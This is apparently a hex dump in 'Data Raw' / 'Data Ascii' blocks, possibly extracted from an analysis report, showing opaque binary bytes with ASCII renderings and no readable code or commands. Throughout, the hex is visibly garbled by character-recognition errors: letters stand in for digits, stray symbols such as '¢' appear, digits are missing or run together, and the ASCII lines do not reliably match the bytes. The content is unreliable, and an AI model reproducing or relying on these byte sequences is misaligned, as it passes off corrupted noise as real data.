96 2a b4 bb 2c 6a d0 82 8e 2a fe d1 ff 28 b3 87 59 ab 30 7f d2 be b2 82 9a b9 8e 4a 15 87 4e fe Oc 9d 35 7¢ 93 09 fa ff 4
61 f2 1e cd 61 1d 49 e3 1d 6a bc ab 7b d4 2d e4 77 60 f6 e9 e0 4c 93 5d ¢7 8¢ 76 64 57 6d b0 ea 4c e3 c9 03 b7 e4 d2 d5
25 e7 14 41 08 1a 45 8c ¢8 87 c0 b1l 3e 0f 5e af 11 2e 58 06 a9 e0 b6 43 aa 15 a4 5c ab 10 76 f3 c9 af 16 22 22 40 27 9d
6¢ 12 6e 3a 9c e2 b6 93 4c 9 dO cd 70 la ef 7e

Data Ascii: tZ[NF:lyR>c+MA-+-a0!Q#*ygOedaBz$1\"c<:* j*(YOIN5|Naalj{-w' LlvdWmL%AE>" XC\v"'@'In:Lp~

Data Raw: ab c8 d4 93 b7 5c fe 6¢ 26 3b 74 17 91 bb fd 72 56 d5 30 ed 65 e9 d3 b6 83 5f da db ¢7 6d 81 7f eb d9 60 1e
60 fO b5 7a 77 56 d0 d2 5b 28 b9 47 e4 15 d2 e8 0d 8e 25 80 52 c8 62 49 84 31 5f 8a cl el 7e 6f ec c8 77 a2 20 4f ec c6
27 41 f1 ef da b5 fb 1e 7f 06 c4 af 60 34 Ob 26 6b da 5e 52 f8 d7 c2 71 fe d8 ac 54 fd bc 54 35 45 d6 6b da 2d 04 43 89 48
a9 67 el 09 86 bb 4f 17 de 11 8c 21 5a d4 df be 92 47 d7 da 42 de b1 66 7c b3 7a 45 59 3f 4d 24 bb a5 7a f0 e5 46 46 3c
24 11 ac 98 be 3e 60 21 bc 2¢ 79 3e ac f1 59 df 13 da 88 4a 3b 55 4f 8b 53 94 al a5 fd 71 8b fe 62 ba 41 b4 55 d4 a8 59
4 39 db 96 41 b3 54 35 d7 16 73 f2 6f 67 dc e3 fd ea d3 68 6e c7 a7 93 1b cf fe 0d 65 Ob f0 17 a9 97 d9 08 50 f2 3b b0 7e
7099 80 bc 8d c3 6b ¢3 c0 e3 d0 c7 9f 07 35 08 68

Data Ascii: \I&;trV0e_m™zwV[(G%Rbl1_~ow O'A’4&k"RqTT5EK-CHgO!ZGBf|zZEY?M$zFF<$>"1,y>YJ;UOSqbAUYIATSs
oghneP;~pk5h

Data Raw: 75 2b d5 f1 eb 66 Ob 98 35 e3 a4 7a 71 09 3d 7a c2 dc 6e d9 32 07 09 41 19 44 68 ee 5f ac 53 0f 16 8b 12 b1
86 f6 82 70 ee 34 1c db 3b 54 e5 67 b5 77 37 e7 0a 47 aa 55 f1 74 61 e4 c3 5¢ 8f Ob c2 ¢7 f9 82 €9 9b 5a 52 c9 05 98 9b
6e a3 8d e8 4f a6 d8 1e dd 6¢ d7 82 18 Oa 6¢ ab ea 0d ea 57 12 93 57 ca cd f5 fc 5e d5 14 6¢ 9b 42 a0 8a f9 26 44 b4 ca
01 aa be 53 10 49 e2 41 15 57 4d 7a 89 a8 14 6 78 46 ea ac 4a eb 7f aa bf ea 35 7a 78 0b 87 16 5b ab c2 Oc 66 5a b2 13
39 62 00 87 3b dd 24 4c 6f Of 74 38 79 3f e8 74 4e 3b 78 bc ec cd 17 3b 82 6¢ 1e ac 07 2b b0 64 34 8c 54 2e 12 d1 97 16
a8 d7 38 04 ca f7 42 af 42 d1 26 f1 09 d6 54 d6 22 4a 31 6d 8c 86 05 8a 35 7c 8e 02 c0 36 Oc 42 d3 64 24 bl a7 74 15 36
7 d5 0c d9 50 80 bb 4d 77 78 32 32 ef 56 95 83 7c 61 5b

Data Ascii: u+f5zg=zn2ADh_Sp4; Tgw7GUta\ZRnOlIWWA"IB&DSIAWMzxFJ5zx[fZ9b;$Lot8y ?tN;x;|+d4T.8BB&T"J1m5|6
Bd$t6PMwx22V|a[

Data Raw: db 79 d5 25 dc 96 90 aa 9f 6b f1 3f 6¢ 4d f6 b1l 1f b3 58 54 €9 d7 54 fd 78 67 fe db d3 51 40 c9 48 b8 cb 4c aa
€9 34 c2 77 2a 91 3a b0 83 8¢ 60 06 28 10 ef dc 42 ff 30 2c Oc 4f 59 67 07 39 48 21 5e 1c 31 9b 26 97 5f f9 94 6b cc 67
84 f3 2c 7c 1f 6¢ 17 60 56 b9 1e 50 b6 6e 44 73 70 e8 cd 6e f3 e7 c3 d6 fc 43 ff 74 7d 52 d8 3c 7b f5 33 a9 9c e6 e7 ad d2
c0 df 04 14 5d 0d 07 6b 6a €0 3b cd 7a 03 9c 44 27 e5 f1 d8 5¢ fd f9 b3 9b 4f 81 96 c0 68 38 a5 c5 le 54 bf 7f a9 58 e9
57 ae 7f 5¢c 7a 5¢c a2 1f e8 7a 49 ea bd 45 f4 67 54 bc ¢6 3f 6b 83 11 17 3a ce b4 db 1f 71 5b a3 1c 37 6¢ fe 86 17 d3 35
46 7b 95 5c 29 7e 3d e2 7f a4 34 6b b3 10 de 18 24 82 92 1f 80 7a 3f 60 e6 36 8¢ 55 06 ac d2 97 1c af 82 3a 04 15 ef cf
a8 4e d1 27 e2 02 c7 5f c0 25 62 20 6d 8a 8c a7 9b

Data Ascii: y%k?IMXTTxgQ@HL4w*:"(B0O,0Yg9H!"1& kg, |I'VPnDspnCt}R<{3]kj;zD"\Oh8TXW\z\zIEQT ?k:q[7I5F{\)~=4k$z?
"6U:IN'_%b m
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Data

Data Raw: 80 3b 78 2d 84 0a 85 19 cd 94 f9 e8 d2 54 8c 2a 16 34 a2 5a c2 cc ca ec 40 ed fd f5 1a e7 ea e0 Oa b8 ed 40
0d 65 ed 14 19 le 2b cc 50 1le 30 2a c2 d7 78 6b a4 7f e7 64 93 fd be 10 d7 e3 e2 df e2 3d fa f3 bf 2d 55 03 43 f4 93 a6
26 aa 0a a4 7b 10 cf cd 5¢c 9a 12 39 7e c5 05 e2 7 d0 05 29 86 24 a5 a8 29 06 bf 82 94 4c fe df ff 08 f3 dc 73 65 3f 7f b0
€0 7d 89 9a b3 8a 62 41 b5 4a f8 e2 57 35 7c 10 25 e8 ff 5e 7b 92 f1 d4 49 ee 45 90 f1 78 bb 7c dc dd 25 e0 09 36 e7 fa
ec 3a 6a a4 c7 86 63 71 23 64 29 ea 46 f0 e4 3f b2 f5 de 92 de e6 14 41 c4 9d 5d e3 1f 8e e0 bf af 0a 46 f3 b3 2c 49 00 ce
2e d8 11 a0 7a 9f 4e af Ob 5b 66 22 ae 10 3b 26 56 21 8b 6d 1e 50 d3 98 6¢ 07 ef 83 cf bc e4 7b c4 {5 6f fc ac 87 4a 71

d1 70 al e0 c9 96 9a 7c 69 cl f8 13 60 30 95 ec 1f

Data Ascii: ;x-T*4Z@ @e+P0*xkd=-UC&{\9~)$)Lse?}bAIJW5|%"IEx|%6:jcq#d)F?A]F,1.zN[f";&V!mPI{oJgp|i'0

Data Raw: d4 45 97 42 41 e6 dd 52 57 el eb df 7b 3d fd 7b a3 ea 5a 61 Oa df 4d b8 e2 b9 e5 15 d2 42 29 4b 24 9b 70 d9
0d 1b 8e 19 f5 80 ¢8 95 67 63 ec cc 6a b7 a9 e9 fd ff e4 cf 46 f1 13 a6 76 68 ba f9 c7 a9 7b 10 0d 06 81 fO Od 56 €9 d4 59
7af9 d8 ad 7d 25 bl 45 33 20 28 6f f2 36 7e 4a a9 ea b8 78 c2 Ob 97 22 5b 03 ¢9 10 de 21 4b d7 cfcd €9 4a c1 c9 bl de
bd 4e e2 a0 7f 5e 4d 24 73 73 96 ae 61 €8 f7 cd 6a 05 b0 10 a6 81 b6 48 76 ac b0 37 74 fb b3 e7 40 f4 02 b5 e9 25 66 51
ed 90 88 8a a7 8a 46 8d 8b f4 c6 a0 4f df 80 5b 1f 7b 74 31 ca 95 f2 a5 3c fd d3 b4 68 f9 de 79 cc ea d7 el c1 1f 10 9b a7
99 6f 7d f6 27 61 Oe f9 07 b1 9f d1 84 e7 Oa 13 25 40 71 93 93 ba 9c c5 7f 3d 98 €8 da 8c 89 23 cb 0a 68 69 5 92 2d 22
93 3e 68 00 5e 0d ea c6 bf 7b f2 f9 dd 36 ea d7 17

Data Ascii: EBARW{={ZaMB)K$pgcjFvh{VYz}%E3 (06~Jx"[!KIN*M$ssajHv7t@%fQFO[{t1<hyo}a% @q=#hi-">h"{6

Data Raw: 18 67 09 c¢7 16 3b 4b b8 71 ee 30 9a 3f 91 5a df 83 79 c¢6 7b 09 56 3a 7c 1f 67 a6 75 49 a9 1c 43 02 57 dd 67
64 ca 20 75 e0 e2 cb d3 db 5e e6 8a 7a 69 43 13 be f4 32 b0 89 f3 97 b7 c5 4c 06 6b dd 5d af 1c 62 61 ef 00 30 7b 12 99
55 cd cc de d1 5e d3 08 3f 9¢c 45 8a 8d c7 73 2¢ 9c 52 03 aa b4 47 8c ad e0 41 32 4e c0 7d 5¢ a8 15 e5 6d 57 ee ba 48 49
6e ae aa fc b9 2b 8f Ob 86 b4 6b af da Oe fO ec 3e 42 28 62 01 25 2a d9 37 49 7c 0a 60 2c 67 b0 ba 74 bb 3a 6b ba 01 c9
012c 12 7d 18 bb 11 b7 al 62 2e 9a c8 3f be fa 0f 16 87 dd 29 02 05 64 6e 8e 5f d4 30 6b 21 c7 54 d6 28 9a 3d 6d 8a 9d
2d 9e de 7f 84 2a 91 35 Oc 48 a8 68 24 b1 al 8a le 37 e4 91 05 d9 df 9b b0 65 a3 78 32 29 fe 2a 58 ba fc 6b 51 1la 2d de
5a58 c2 bb 9e 44 52 c0 e2 54 a9 e3 el 07 6a 3e 5b fd a3

Data Ascii: g;Kq0?Zy{V:|gulCWgd u”ziC2Lk]ba0{U*?Es,RGA2N}\mWHIn+k>B(b%*7I|",gt:k,}b.?)dn_Ok!T(=m-*5H
h$7ex2)*XkQ-ZXDRTj>[

Data Raw: e0 4a 1a 25 f5 e2 d0 92 el bb ca 4b db ¢5 f0 51 ff 99 6b f3 bf 43 76 7c 35 b1 93 55 82 ce ed 6f fc 48 ca 01 da
2f 2398 79 b6 a3 2b 17 f8 9d 91 d4 ff fd ec Ob fa cb a7 f4 26 a5 cf 40 fO ac 9a b3 8b 6e 45 a5 5d f3 63 46 3e 63 82 db e9
€2 4103 c0 19 d5 4f {7 4f fc 07 6a b0 76 cO df 32 e8 98 65 cb fc cd d1 a4 a9 d4 87 70 66 5b af 18 14 4d cf e8 16 Oe e4 d8
fd 14 d6 07 40 d5 89 4e 93 e4 71 el 99 af 08 31 81 6a 2d 4f 1b c1 42 44 42 a0 70 8a 70 b8 11 5e 18 c2 b0 2a cf 34 7d 21
8b 13 07 47 c2 9a f3 b8 ef aa cf bc e4 6f 21 fc 75 f9 d2 60 54 5b 25 78 e2 01 d9 91 8a cf ad ca f1 39 79 12 e9 ba 1f b9 40
4c e2 23 46 de 71 4e 18 c4 dc af 5e f0 56 a2 c7 45 31 ef f3 3d 76 06 9e 3b a5 8f 85 66 df a6 66 0d dc 6e d5 3e 3f Ob 6¢ 08
74 0c 24 al ad 75 1a 27 89 31 85 5d fc 82

Data Ascii: J%KQkCv|5UoH/#y+&@nE]cF>cAOOjv2epf[M@Nqlj-OBDBpp”*4}Golu T[%x9y @L#FgNAVEL=v;ffin>?lt$u'l]

Data Raw: 84 61 a3 67 67 a0 74 a5 a5 73 36 10 2c 04 f0 Oc 50 fc ¢2 d2 ed fe c7 9c 66 ff b8 6d 3d 50 c7 68 9d 5e 04 43 89
cc 8049 f3 02 97 al 5c¢ 1b fa c1 dc 5a 5f d4 cc b7 90 43 d7 de d6 e4 a2 5f ed a2 72 de 45 34 73 b1 94 ae 6d f2 7f {3 6e 2d
25 7e 51 8a bb 40 4a 30 b4 20 a2 f3 a8 f1 59 e2 1d 45 37 17 bc 5d 67 87 8¢ 9d b6 a4 ba ef 8b fe 6e 99 6b c7 84 df c7 31
€7 30c0 b9 56 a2 3d 8b 2f 17 79 f4 de 92 cc ea db cb fa al 01 9a a7 82 16 09 ¢5 7b 67 70 f5 17 b5 93 ca 01 46 0f 31 cb
60 60 9e 91 b6 1c d0 6d c5 b3 e7 df a0 98 1a 31 84 47 6f e4 95 ce 53 92 3e 63 Oe 84 06 fd 1a df 9e e2 f3 c6 47 6d 4a 25
ec a0 63 cO d7 a5 32 47 82 94 fd 19 82 90 c3 0a b2 f4 2b 7e 60 82 f5 3e 18 37 d9 38 7 36 3b cc ae 90 6e 2a c2 ae 95 cd
ec b3 07 3a a3 flal88dofbf7a6 29 2c fd 4e df

Data Ascii: aggts6,Pfm=Ph"CI\Z_C_rE4smn-%~Q@J0 YE7]gnk10V=/y{gpF1 " m1GoS>cGmJ%c2G+~">786;n*:),N

Data Raw: 99 99 a0 d2 c4 ¢6 10 d4 5d 0d 09 bc 7f e0 3b ¢7 7a 03 96 40 27 e5 f1 ¢5 5c ae 16 b3 9b 41 88 {7 da 66 38 b0
€2 15 a9 96 8d a5 49 e8 5f 27 52 4d 6b 59 b6 ea f7 45 54 e8 ae 31 e2 7e aa b9 e9 e3 07 86 0a 87 12 65 a2 d1 09 7e 4a
b7 08 d6 63 2¢ 80 3d cb 15 00 71 1c 71 38 6f 38 f1 8a ba 17 7d aa 1d d5 04 3e 8e 7d 1b b3 Oe d5 b1 48 30 84 7e 31 b2
€192 16 96 d2 24 fa 12 d8 48 ac 48 ed 98 Of f6 29 49 c5 27 4a 20 68 9c 78 04 a6 dd 68 9d 07 31 24 09 5d d7 9a 25 9d b8
5f 10 0f 97 1b f6 26 d6 83 84 89 Oc 87 cd 2b d3 45 91 a8 cc 6d 5b 68 3e fb 72 ed c2 bb 85 5f 55 ¢7 f2 f6 aa e3 eb d9 7b 35
6e f4 5d eb 77 78 c3 a5 46 b3 91 52 ec 61 d4 38 01 95 33 93 6e f4 33 4b 8e 1f €9 07 c6 eb Oa 62 f8 dc 78 99 bf 5e eb dd
08 2c 46 {7 Oa cc 98 6¢ ac 0d c8 ba 79 2f 17 2e 6e ff 12 5a

Data Ascii: |;z@"\Af8|_'RMKYET1~e~Jc,=qq808}>}H0~1$HH)I'J hxh1$]%_&+Em[h>r_U{5n]wxFRa83n3Kbx",Fly/.nZ

Data Raw: 38 6b f0 d4 7c 83 90 9b 8b 60 5a 8f d2 5 70 50 35 6d 9e 3b 16 ef 66 58 f0 1e cc 4f f3 c4 e4 1b 79 ba 65 d4 c5
282 70 e8 b6 fa €6 54 19 b5 c2 98 58 35 51 b0 22 c2 4d el el 24 2b fb d1 ee Oc e7 05 4c ce 66 44 a0 ec 9e e6 a3 b8 18
d3 9b 6b 2d 48 06 ce 3b ae cf f1 7a 95 5¢ 09 12 4a 21 8b ae 10 3b 1d 50 32 8c 76 86 5a d1 9b e2 al 87 4f 30 bd c2 73 Od
fc 79 f9 d2 6¢ 54 7b 25 78 e2 Of €3 93 a8 79 49 34 Oe 39 12 35 fa b1 04 82 01 51 de ca 47 f2 72 74 d9 c7 de af 4b 98 4b
a8 c7 50 10 f0 ee c3 6¢ 1a 8a 2a fe 8¢ 8¢ 71 93 37 09 00 df 15 dd 20 21 1c 63 67 b9 06 3f 55 ae 22 12 30 9a 31 9¢c 21 21
83 7acc 7f 65 d5 3c 7c 1b 71 da a6 59 ad 00 45 db 48 d8 73 74 fa bd ac el e8 c9 c5 88 52 e4 8a 78 11 25 15 be fe 30 b5
8e 6¢ 24 ce 08 c1 c4 61 d7 82 1e 28 4e 58 fb 28 ¢8 71

Data Ascii: 8k|'ZpP5m;fXOye(pTX5Q"M$+LfDk-H;z\J!;P2vZO0sy|T{%xyl495QGrKKPI*q7 lcg?U"01!ze<|qYEHStR
x%0I$a(NX(q

Data Raw: cd de cf bc 46 fc 4d 7b 63 44 1a 57 b6 97 a4 eb cc f2 dc 6a 34 28 11 ae 90 45 4b 40 26 94 7d 75 €0 a6 fc 5d
3 1c d6 7e 24 4a 44 31 b9 8e 9d b4 8a ec 8¢ 8b f4 5d c6 48 c7 84 cb a4 53 ef 27 34 9e 7c b6 23 e8 d7 1e 67 00 b0 47 c3
94 e9 ec c2 65 16 b2 aa 91 11 19 e9 2e 69 Ob f8 Oc 4b 96 f5 0d 78 54 3a e0 46 6a 99 80 b4 94 3d 68 ef 80 9c ea al e Of
1d 3a 6a 6f 2 ea 96 a5 93 3a 41 0e 95 Oc e0 4c 4 95 3 fd cd 40 e3 f5 Ob ca a9 67 cf fc ec 35 41 eb fc e0 15 88 b0 6 4
b3 d2 46 Ob 6¢ 82 f7 07 17 df de 7b 0d 1c 3e fe 93 96 90 d5 cf a2 be 89 cd b0 1b 83 fa f3 da 12 d1 fb e2 9d 2f 39 ee 44 ff
eaa5f9 a0 09 82 7b 31 ac 93 5¢ 9c 66 d3 78 ed 48 ca fa d9 2f 2f af ed a5 a8 21 69 10 83 8e 20 f8 9 f1 Ob 3 da 0f 50 30
7f dc be 72 80 9a b5 a2 b7 5a 85 44 97 80 56 35

Data Ascii: FM{cDWj4(EK@&}u]~$JD1]HS'4|#gGe.iKxT:Fj=h:jo:AL@g5AFI{>/9D{1\fxH//'i POrZDV5

Data Raw: 49 eb 79 82 9e ea 35 70 e0 e8 86 16 70 ac ea 42 7d 5b b4 3b 60 61 00 81 13 ff 24 4c 67 27 3b 3b 7e 3b c0 57
bb 3b 72 d3 f3 ce 17 31 89 44 4e af 07 2d 98 2¢ 35 8¢ 52 06 9a d2 97 1c af 86 3b 04 15 dc 61 af 4e db 49 12 08 d6 5e d1
0a 18 32 6d 8c ae 4d 89 de 79 a6 20 31 35 06 6a 8f 67 24 b7 92 57 15 37 ee 8a ea d8 df 8a bc 65 a6 7b 32 25 d1 0d 92
bb fa 49 79 c4 3d f1 5a 20 c1 bb 92 61 65 ca ca 70 c6 00 ea d9 60 3f 59 ab a0 ea 5d 61 89 dd 4d b4 b9 74 e4 15 d2 10 56
8d 25 9d 52 ff 62 49 84 76 1c 8b c1 el 0d 4b b4 cb 6¢ b7 0f 16 €8 d7 26 e7 64 {7 00 a9 4f 34 af 07 c2 8d 50 3c 1a 24 10
11 0c 50 f2 d6 fd a6 fa d8 aa 7d a6 b3 45 3f 7b e5 6e f2 36 2c 18 80 ea be 43 d1 02 97 ba 34 e0 c8 9c d4 26 72 89 cf b3
8562 89 ce de c9 94 6¢ e4 b3 70 67 15 31 5b b2 bf 8d 6b fb

Data Ascii: ly5ppB}[; a$Lg';;~;W;r1DN-,5R;aNI"2mMy 15jg$W7e{2%ly=Z aep ?Y]aMtV%RbIvKI&dO4P<$P}E?{n6,
C4&rblpgl[k
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Data

Data Raw: 1f 2f 9b e6 3 f8 33 52 ea b4 2a 9e 2a d2 c8 8f ea 9f a0 0d 45 ac 6f 2d 9b Ob c6 2d 12 43 a0 6b 97 75 8 1b 5e
0f c2 dc 05 33 35 5b 3a 8b 13 44 46 c2 96 f1 be 96 4a c3 84 46 71 1a ef 6 f7 d2 66 d1 7c d2 51 f5 0d c8 9c bd a5 8f 44 fO
3f 66 30 89 66 1le a8 4d 40 f0 03 55 d7 50 5b f1 c4 d6 bc 49 cd 6b a9 c7 5e e7 83 ef ¢3 77 3b 88 2e cc 5d 8d 71 Of 1a Oc
29 b9 6f d3 21 5f 2a 67 08 6f 14 3b 21 9e 59 1c 3b 89 32 e7 7c f7 82 70 d5 78 08 ca 3b 13 cd 67 b5 77 4f 77 19 48 b3 4f
€140 71 e2 d2 65 e6 f9 ca ef 97 5f €5 8¢ 13 aa cf 14 b8 e7 37 b2 8b 3 9a 89 b7 c3 ¢4 6d b2 88 Oc 0d 60 66 fc 39 c4 6b
1b bb 3b da e4 db bd 8a d4 1e b4 88 40 9b 89 fb 00 3b b4 cc 6¢ bc be 53 ae 58 7 69 5¢ 54 4d 7c 33 be 16 f6 63 26 c6 d8
5c 66 50 aa bd eb 26 70 86 23 ee 15 7a ad ad cd 7e

Data Ascii: /3R**E0--Cku”35[:DFJFqof|QD?fOfM@UP[Ik*w;.]q)o!_*go;!Y;2|px;gwOwHO@qe_7m f9k; @;ISXi\TM|3
c&\fP&p#z~

Data Raw: 84 c4 ad 4c ed ce cb b3 41 bc 13 87 d4 16 7f 91 70 6b cd e0 fd cd dd 6a 12 9f a7 82 14 08 08 26 49 00 f2 3e
8c 97 d9 00 7c 46 27 f3 45 71 84 85 a3 81 3d 68 ef 93 eb cb 76 93 14 38 1b 6d 6f f5 91 bc 5a 92 12 6¢ 3e 98 12 f9 c9 cc
85 f6 e6 dc b2 e2 d1 02 32 a0 63 aa d7 a5 32 69 ce 7 fd 13 e7 e3 e0 Oa b8 el 48 0f 65 82 ee 1d 01 28 21 56 23 3e 2a c2
c8 f3 63 35 c2 9b bb 92 ec b1 04 06 07 f2 f6 87 a2 ac f3 b5 2e 10 f1 52 e7 9c 7a €9 a5 1a 76 7c 35 b4 96 5e b2 74 e6 79
eb 64 c1 f7 da 25 46 dc 38 a5 a2 31 15 6 82 9f 2f e6 2f fe 24 fa af 26 65 31 75 d2 8f 6e 86 9a a2 8f 7d 57 7b 4f d4 68 5e
24 78 17 92 da 49 55 7e f2 1d d5 58 el 57 1d 1a 55 bd 5d 3a cbh 24 7 63 64 6 ff fO ab ba 88 c4 9b 63 72 50 al 2d f5 5¢
1d e0 02 b5 cf dd c5 b7 19 eb b4 d3 b2 5b 8e d3 bf e4

Data Ascii: LApkj&I>|F'Eq=hv8moZzI>2c2iHe(!V#>*c5.Rzv|5"tyd%F81//$&e 1unfW{Oh"$xIU~XWU]:$cderP-\[
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30 ac 07 21 6e 64 27 88 7c 5e b9 d2 91 79 a6 d5 38 Oe cd fb 67 87 63 d1 26 fb 1a f4 7c f8 22 4a 3b b3 8a 97 01 a2 84 7e
8e 04 5e 14 Oe 42 d6 ba 2b 94 92 59 15 37 ee f6 2a f1 f1 80 bb 47 2c 78 23 27 d1 2c 90 bb fa Oe 7a c6 3d f1 ac 7a e7 93
b9 49 46 c0 d9 5e 81 cd eb d9 60 e6 71 ec a7 c2 dc 48 c1 d8 22 93 93 56 ee cb d7 1d 29 a3 25 9b 70 cf 47 61 a0 19 ff 80
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20 f1 dd 47 fd 78 76 f1 d9 dc af 40 e5 45 a9 c¢7 d6 3d fO ee cd 77 2a 8e ba a4 8c 8c 7e 09 37 09 Oc dd 6e d2 21 21 18 67
97 62 07 3f51 ac 59 1c 9c 9d 35 99 41 f7 82 7a db 7d 1e da 3d 7c 1f 66 09 76 58 ad 04 47 a0 46 13 74 70 e2 dd 74 €0 €8
de c7 f35d e5 8a 7c 7e 17 13 be f4 3d a3 8d e2 74 a6 d2 cO cb 6b dd 5¢ 10 0d 66 74 fbh 28 c2 7a e4 94 5d d9 ea dd d2 5e
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a8 31 8e c3 6f ac b4 e0 dc aa 8d 28 27 2a 79 4c 5 81 89 b5 93 3e 63 47 a5 Oe ea c6 a3 81 f3 f9 dd 64 c5 ff 17 3e b9 5e
a8 c0 a4 34 4b c5 79 fe 19 8e d7 cf 08 b2 f4 57 3¢ 71 a2 ee 0d 36 30 df 57 05 58 Ob c4 c1 63 4a 07 cd ae af be d6 be 62
8e f9 f3 db fc 56 fb f3 b4 37 25 ff 57 9b 8d 7b f8 aa 2b 07 7e 19 a6 ff 73 98 18 ef 6a f0 5d ff e6 cf 07 38 87 38 af c7 1b 04
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a7 ed 80 bb 47 el 7e 24 32 fe 2a 43 ba fc 67 4c 1e 2e eb 61 7c fa 7c 94 49 46 db cd 6b a0 cb 8f da 6a 3e 1e 29 a2 ea 5d
5acb cf 4a a3 98 7e 81 16 d8 3e 6e 5a 24 9b 7c cf 69 58 88 0d 01 8b dO ed 74 51 ec c8 66 a7 Of 6e eb d7 2a d9 b8 f6 60
8f 42 7c a9 2b e5 8d 45 3d 1a 24 6e f5 1c 59 dO b7 d6 fc ff b7 78 54 ee b6 2a 6b 53 7 64 e3 39 2c 12 82 ea be 78 f4 13
9d 98 ba 03 c9 96 f3 62 4b de e4 52 83 4a cb €0 e4 de ba 62 d2 c0 41 4e 48 34 48 b8 86 a2 7a f1 9c 9d 6f 2d 22 00 aa 9a
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24 3b 56 1f 66 b5 70 44 ad 0a 47 a0 d8 d9 78 d9 e2 c0 69 e0 e8 c2 c7 f3 71 e4 4d 88 7f c1 09 be f4 32 b0 bd e4 93 3f d2
cOc4 eadd5c1c1b 7571 c3a7c27a12 93 4cddfc23d3 72 ¢5 1c 3¢ 2¢ 52 50 9b 05 ea 17 b4 ca 02 a0 a7 40 a0 49 3
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01 60 82 fe 18 1e 11 df 4b 43 37 35 db c1 69 6e 31 f8 8b be ce fd b4 1b a5 f9 3 cb fe c4 f9 3 bf 2e 3¢ 90 17 5 99 7e dO
4b 02 88 7b 31 fc 93 5¢ 9¢ 30 09 78 ed 4a 8d d6 d8 2f 23 59 36 80 80 06 06 f3 88 82 02 d0 d1 ff 02 2d dc 77 1b 64 7e d8
92 55 68 9b b3 8¢ 4a 06 86 4e fe 4b ba 34 7c 9f 4a c9 ec 4a 7a 3f 16 f0 61 c9 49 e3 11 74 93 58 d1 d4 27 3a 66 62 cd fb
fa 55 bb a4 ¢7 8a 70 6b 72 b0 26 {7 4c e3 e0 2e b7 d4 d8 el 47 e7 1a 56 d5 98 44 97 8 8¢ e0 €9 be 0f 5e 30 6b 2d 58 79
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f9 d1 76 ac 55 e4 98 ff 3a 53 c1 46 5c 3c 04 49 ab 4d b8 6b f8 2a d8 b0 5b 09 a6 a6 dc 21 50 ba 20 b3 83 40 d6 a2 ca cd
bc 44 8b 5d 7a 4f 42 21 5f bc 86 ab 43 55 3 dc 64 05 91 12 a6 8d 93 e4 6¢ 21 b6 1f d3 e0 a0 ea 5a f4 3¢ f0 80 25 6¢ 6¢
99 81 8f 9d b7 d1 02 8d 8b 8 77 bf 96 d3 al fd 85 53 e7 3a d9 90 56 b9 13 ca d7 16 73 23 0b 6b cd ea c0 e3 ea d7 02 9a
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cafc 74 e0 e2 1d c7 f5 22 b4 8b 7c 7a e6 ff bf f4 35 8b d9 el 93 a7 fa 2d c5 6b db 33 2c 0f 66 7f 25 26 e7 52 3f 93 5d d3
e9 f5 fc 5e d5 14 6¢ 9b 43 a0 8d cf 67 38 b4 ca 05 aa a2 71 a4 47 ff 41 34 56 4d 7a 6¢ a8 08 ba 69 48 {7 ac 4a ea 64 9a
b4 ea d1 78 8f Ob 30 16 7a ba b1 19 7c 5b b8 19 56 50 00 87 31 d1 5a 7e 6d Of 7e 2b 7b 43 bc 75 bb 3f 50 57 11 cf 11 36
87 44 d6 af 07 2d 98 ca 36 8c 5e 06 1f d2 97 1c 94 d3 29 00 3b cf 42 af 44 fc 21 f7 02 Ob f6 d4 22 4a 20 69 a2 c9 05 8a
d4 6¢ 86 13 39 1d c5 41 dc 62 Oc fc b8 74 1f 1f aa 7 09 d3 b0 cf b9 4d 8 6b 34 2a d1 e2 91 bb f6 49 bl c5 3d fd 61 72 d3
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07 f1 84 38 a3 c7 68 07 f3 84 88 3b f4 be 39 09 f3 d6 60 6b 5e d5 d8 96 77 b9 35 4d 75 9d 84 93 5f f6 16 6e 35 7c 98 09
e4 ff 44 05 d8 18 d5 48 8b 14 €3 1b 73 67 a8 c4 f1 05 c9 66 64 ed €9 eb 26 ae a6 c7 86 7b 5f 7e b0 28 0 92 el e7 04 b0
ce d8 fd 4a d3 14 4b d7 98 45 8c b8 8f e0 b5 df Oe 5e 9c ba 2c 49 0a d0 2d b7 43 a0 7a 95 5d ab 1a 5e 09 cf af 10 31 d6
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ca 12 a6 8d d4 09 6d 21 ba 31 65 e6 cf 26 50 f3 1e da 8a 4a cc 55 4f 8b b5 5b 4e 5d 2a 52 9d ef 6e c4 71 c7 84 d4 84 5f
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b2 1547 55 02 87 31 cc 21 64 9a 0d 74 3e 11 Oa ea 74 bl 13 d6 bc 10 c5 3f 9c 8e 6¢ 14 ¢3 46 2a b0 62 27 89 7c 52 ba
d2 91 79 b0 d5 38 Oe 3b 53 42 af 44 f9 55 f1 09 d0 47 d1 33 4c 20 6a a2 10 04 8a d8 10 b1 03 31 33 0a 53 da Ob e2 b0 ba
7e cb 38 ¢l cd 24 d9 df 8a a8 45 da 56 32 23 f3 9b 91 aa f5 76 8d d7 34 ea 7b 64 c8 35 23 76 73 35 35 85 af c9 eb d8 7a
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d23e e3 61 4c a4 f8 e6 5f a8 ac d1 9d 78 f9 e7 a7 f2 f9 5f f0 €8 16 €3 e6 d8 fd 1a ef 05 42 4f 89 42 e3 09 8f 0 bf 87 32 5¢
9c 6b 3c 41 1b cf b7 a6 44 cf 7d 94 5d al 0d 84 66 cO ae 10 3b 22 40 38 9d 75 80 29 c5 9d e2 ba 91 5e al bb ef 70 10 8
a8 e0 15 bl 24 79 da 79 c4 1le c2 80 81 aa d8 cc fO 3f 6¢ 2e 20 a2 Ob bb 46 78 c4 cc 43 da ad 75 f1 c2 cd a5 50 e8 5d c6
cf 55 3a fa c6 e0 77 2a 84 02 8¢c 8¢ 8¢ 7b 21 61 Ob 11 d7 46 84 23 21 12 4f 2b 65 07 35 4c a8 48 11 29 4c 26 94 5f fa 93
6e f7 b5 36 21 3c 7c 19 75 bf 60 5¢ ba 87 1d a0 46 d8 60 65 f3 ¢7 62 f6 75 d2 d2 9c 64 e4 8a 76 6d c2 02 af f8 bd 14 9a
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05 de 91 33 e8 e2 70 61 72 62 4f 7c c0 a9 a3 d3 64 b1l 42 d4 90 a6 bd 51 e7 3a c1 b7 7e b4 3b ee 09 14 7f d4 b6 41 cd
abcdedc2 6101 9aa7 95 11 136 43 67 Ob f0 7c b7 97 d9 1f 50 1c 3b fd 40 71 94 9b 8c 89 c¢3 6f c2 9b e2 1f a0 9e 1a
46 1d 6a 6f ee 9e 89 ec 90 3e 6f 00 bb 0d ea c6 e4 84 7 f9 d1 64 c0 fd 17 3e bb 4f d6 d0 8d 0f 41 ed fd d0 12 fb ad e2 Oa
